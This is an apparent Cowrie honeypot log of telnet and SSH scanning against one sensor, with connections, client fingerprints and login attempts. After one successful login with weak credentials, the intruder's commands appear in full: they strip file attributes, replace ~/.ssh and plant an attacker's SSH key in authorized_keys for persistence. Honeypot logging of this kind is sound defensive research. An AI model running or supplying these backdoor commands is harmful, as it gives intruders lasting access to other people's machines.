{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":54124,"dst_ip":"10.17.0.5","dst_port":23,"session":"5ef150ee22f9","protocol":"telnet","message":"New connection: 85.190.254.94:54124 (10.17.0.5:23) [session: 5ef150ee22f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:24.192009Z"}
{"eventid":"cowrie.session.closed","duration":30.572417974472046,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:24.245246Z","src_ip":"167.71.198.239","session":"8510b11b8a0f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.77.140.101","src_port":42948,"dst_ip":"159.203.135.109","dst_port":23,"session":"e50223353547","protocol":"telnet","message":"New connection: 62.77.140.101:42948 (159.203.135.109:23) [session: e50223353547]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:25.294004Z"}
{"eventid":"cowrie.session.closed","duration":30.72471785545349,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:25.298531Z","src_ip":"77.72.5.107","session":"0d8ef4205dec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.473675966262817,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:26.068661Z","src_ip":"85.190.254.94","session":"580647424a39","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.7660813331604,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:26.206238Z","src_ip":"136.244.67.81","session":"695e7b396003","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.79546809196472,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:26.210503Z","src_ip":"136.244.67.81","session":"0652302bf387","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"77.72.5.107","src_port":38382,"dst_ip":"159.203.135.109","dst_port":23,"session":"e3b5a68a763a","protocol":"telnet","message":"New connection: 77.72.5.107:38382 (159.203.135.109:23) [session: e3b5a68a763a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:26.214796Z"}
{"eventid":"cowrie.session.closed","duration":30.63384747505188,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:26.268258Z","src_ip":"167.71.198.239","session":"eed2af910531","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.04580593109131,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:27.063752Z","src_ip":"62.77.140.101","session":"bbae98ae5e74","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.152.33.170","src_port":38510,"dst_ip":"159.203.135.109","dst_port":23,"session":"4b81c9772083","protocol":"telnet","message":"New connection: 107.152.33.170:38510 (159.203.135.109:23) [session: 4b81c9772083]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:27.336127Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":36346,"dst_ip":"10.17.0.5","dst_port":23,"session":"b0538cc7fd4d","protocol":"telnet","message":"New connection: 85.190.254.94:36346 (10.17.0.5:23) [session: b0538cc7fd4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:27.387522Z"}
{"eventid":"cowrie.session.closed","duration":30.63132405281067,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:27.406344Z","src_ip":"138.197.5.236","session":"5253dbe6af2a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.5448739528656,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:27.766302Z","src_ip":"138.197.5.236","session":"2a5dcaff3de2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.43569803237915,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:27.937815Z","src_ip":"62.77.140.101","session":"ebd2b1290a72","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.5.236","src_port":43514,"dst_ip":"159.203.135.109","dst_port":23,"session":"091ddbd8828e","protocol":"telnet","message":"New connection: 138.197.5.236:43514 (159.203.135.109:23) [session: 091ddbd8828e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:27.943345Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":39556,"dst_ip":"10.17.0.5","dst_port":23,"session":"1dc63e229548","protocol":"telnet","message":"New connection: 85.190.254.94:39556 (10.17.0.5:23) [session: 1dc63e229548]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:28.456769Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.77.140.101","src_port":38226,"dst_ip":"159.203.135.109","dst_port":23,"session":"795b1ec6f281","protocol":"telnet","message":"New connection: 62.77.140.101:38226 (159.203.135.109:23) [session: 795b1ec6f281]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:28.563546Z"}
{"eventid":"cowrie.session.closed","duration":30.745638132095337,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:29.290537Z","src_ip":"138.197.5.236","session":"26f49e10c63e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.152.33.170","src_port":38518,"dst_ip":"159.203.135.109","dst_port":23,"session":"3766bb06cb27","protocol":"telnet","message":"New connection: 107.152.33.170:38518 (159.203.135.109:23) [session: 3766bb06cb27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:29.754726Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.198.239","src_port":50208,"dst_ip":"159.203.135.109","dst_port":23,"session":"bec0ae2acc04","protocol":"telnet","message":"New connection: 167.71.198.239:50208 (159.203.135.109:23) [session: bec0ae2acc04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:29.778378Z"}
{"eventid":"cowrie.session.connect","src_ip":"77.72.5.107","src_port":40846,"dst_ip":"159.203.135.109","dst_port":23,"session":"9243b37a1978","protocol":"telnet","message":"New connection: 77.72.5.107:40846 (159.203.135.109:23) [session: 9243b37a1978]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:29.869583Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.198.239","src_port":50734,"dst_ip":"159.203.135.109","dst_port":23,"session":"36dcbbedcdc7","protocol":"telnet","message":"New connection: 167.71.198.239:50734 (159.203.135.109:23) [session: 36dcbbedcdc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:30.232082Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":44736,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d79e3af3044","protocol":"telnet","message":"New connection: 85.190.254.94:44736 (10.17.0.5:23) [session: 5d79e3af3044]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:30.238373Z"}
{"eventid":"cowrie.session.closed","duration":30.74524450302124,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:30.243656Z","src_ip":"77.72.5.107","session":"49f370608809","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"77.72.5.107","src_port":40260,"dst_ip":"159.203.135.109","dst_port":23,"session":"6f3da0fe4894","protocol":"telnet","message":"New connection: 77.72.5.107:40260 (159.203.135.109:23) [session: 6f3da0fe4894]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:30.603370Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":40528,"dst_ip":"159.203.135.109","dst_port":22,"session":"95711a46a4ff","protocol":"ssh","message":"New connection: 159.203.92.129:40528 (159.203.135.109:22) [session: 95711a46a4ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:31.129122Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:31.133618Z","src_ip":"159.203.92.129","session":"95711a46a4ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:31.138649Z","src_ip":"159.203.92.129","session":"95711a46a4ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alias","password":"1234","message":"login attempt [alias/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:31.152368Z","src_ip":"159.203.92.129","session":"95711a46a4ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.006436347961426,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:31.260077Z","src_ip":"107.152.33.170","session":"2064c249deb5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.77.140.101","src_port":38238,"dst_ip":"159.203.135.109","dst_port":23,"session":"f1a809b8d209","protocol":"telnet","message":"New connection: 62.77.140.101:38238 (159.203.135.109:23) [session: f1a809b8d209]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:32.002960Z"}
{"eventid":"cowrie.session.closed","duration":30.337883234024048,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:32.065085Z","src_ip":"77.72.5.107","session":"bbcf98542ce6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:32.158380Z","src_ip":"159.203.92.129","session":"95711a46a4ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.72.5.107","src_port":42058,"dst_ip":"159.203.135.109","dst_port":23,"session":"3cd00237d19c","protocol":"telnet","message":"New connection: 77.72.5.107:42058 (159.203.135.109:23) [session: 3cd00237d19c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:32.639749Z"}
{"eventid":"cowrie.session.closed","duration":30.756211042404175,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:33.140269Z","src_ip":"85.190.254.94","session":"4d630bcd24ac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.264026641845703,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:33.243107Z","src_ip":"138.197.5.236","session":"4f7cb54ddf19","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.661330223083496,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:33.440097Z","src_ip":"138.197.5.236","session":"7624ec73d5b5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"77.72.5.107","src_port":42172,"dst_ip":"159.203.135.109","dst_port":23,"session":"9913ee7b5937","protocol":"telnet","message":"New connection: 77.72.5.107:42172 (159.203.135.109:23) [session: 9913ee7b5937]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:33.939981Z"}
{"eventid":"cowrie.session.closed","duration":30.76789116859436,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:34.043481Z","src_ip":"136.244.67.81","session":"01be3e6042a7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.959622144699097,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:34.066968Z","src_ip":"136.244.67.81","session":"e7cb1e4a11b3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.12318730354309,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:34.235991Z","src_ip":"138.197.5.236","session":"5ff895bca1b4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.77.140.101","src_port":38254,"dst_ip":"159.203.135.109","dst_port":23,"session":"c8e0a5cbcc09","protocol":"telnet","message":"New connection: 62.77.140.101:38254 (159.203.135.109:23) [session: c8e0a5cbcc09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:34.306959Z"}
{"eventid":"cowrie.session.connect","src_ip":"77.72.5.107","src_port":42772,"dst_ip":"159.203.135.109","dst_port":23,"session":"014765dc9329","protocol":"telnet","message":"New connection: 77.72.5.107:42772 (159.203.135.109:23) [session: 014765dc9329]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:34.684187Z"}
{"eventid":"cowrie.session.closed","duration":30.947035312652588,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:34.769965Z","src_ip":"85.190.254.94","session":"b5024c7a1309","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.684433937072754,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:35.061166Z","src_ip":"85.190.254.94","session":"415788ea3e40","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.8351047039032,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:35.102471Z","src_ip":"138.197.5.236","session":"bc4c3be3dd9c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.77.140.101","src_port":38268,"dst_ip":"159.203.135.109","dst_port":23,"session":"9f0b6cd36fb7","protocol":"telnet","message":"New connection: 62.77.140.101:38268 (159.203.135.109:23) [session: 9f0b6cd36fb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:36.108532Z"}
{"eventid":"cowrie.session.closed","duration":30.298428297042847,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:36.173388Z","src_ip":"107.152.33.170","session":"3c85e4d4cc43","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"77.72.5.107","src_port":43048,"dst_ip":"159.203.135.109","dst_port":23,"session":"6de5948817de","protocol":"telnet","message":"New connection: 77.72.5.107:43048 (159.203.135.109:23) [session: 6de5948817de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:36.398717Z"}
{"eventid":"cowrie.session.connect","src_ip":"119.195.89.96","src_port":35907,"dst_ip":"159.203.135.109","dst_port":22,"session":"ed71fd5b5a4c","protocol":"ssh","message":"New connection: 119.195.89.96:35907 (159.203.135.109:22) [session: ed71fd5b5a4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:36.451441Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:36.456820Z","src_ip":"119.195.89.96","session":"ed71fd5b5a4c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:36.650236Z","src_ip":"119.195.89.96","session":"ed71fd5b5a4c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.44149136543274,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:37.091096Z","src_ip":"85.190.254.94","session":"f1921b26a204","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin123admin","message":"login attempt [admin/admin123admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:37.455226Z","src_ip":"119.195.89.96","session":"ed71fd5b5a4c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:37.892294Z","src_ip":"119.195.89.96","session":"ed71fd5b5a4c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:37.896007Z","src_ip":"119.195.89.96","session":"ed71fd5b5a4c","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:37.900453Z","src_ip":"119.195.89.96","session":"ed71fd5b5a4c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.121532678604126,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:37.910405Z","src_ip":"85.190.254.94","session":"0bfdffccb804","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.241323947906494,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:38.049324Z","src_ip":"85.190.254.94","session":"554db9745273","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.807388305664062,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:38.062646Z","src_ip":"85.190.254.94","session":"61656a249809","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:38.099409Z","src_ip":"119.195.89.96","session":"ed71fd5b5a4c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"136.244.67.81","src_port":51892,"dst_ip":"159.203.135.109","dst_port":23,"session":"4e4d158df3fe","protocol":"telnet","message":"New connection: 136.244.67.81:51892 (159.203.135.109:23) [session: 4e4d158df3fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:38.372954Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:38.520808Z","src_ip":"119.195.89.96","session":"ed71fd5b5a4c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:38.523989Z","src_ip":"119.195.89.96","session":"ed71fd5b5a4c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.152.33.170","src_port":50024,"dst_ip":"159.203.135.109","dst_port":23,"session":"a49fefa97b70","protocol":"telnet","message":"New connection: 107.152.33.170:50024 (159.203.135.109:23) [session: a49fefa97b70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:38.579559Z"}
